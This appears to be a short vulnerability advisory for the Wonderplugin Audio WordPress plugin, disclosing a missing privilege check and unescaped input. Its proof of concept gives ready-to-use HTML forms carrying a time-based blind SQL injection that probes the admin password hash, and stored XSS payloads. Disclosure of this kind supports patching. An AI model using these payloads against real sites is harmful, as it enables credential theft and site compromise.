1. Description
wp_ajax_save_item() is accessible for every registered user (admin privileges are not checked).

save_item() uses is_id_exist() in which $id is not escaped properly.

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="text" name="item[id]" value="1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)">
    <input type="submit" value="Hack!">

This SQL will check if first password character user ID=1 is "$".

If yes it will sleep 5 seconds.

For XSS use:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="hidden" name="item[id]" value="1">
    <input type="text" name="item[name]" value='<script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="text" name="item[customcss]" value='</style><script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="submit" value="Hack!">

It will be visible on every page where shortcode wonderplugin_audio is used and also in admin panel:



3. Solution:
Update to version 2.1
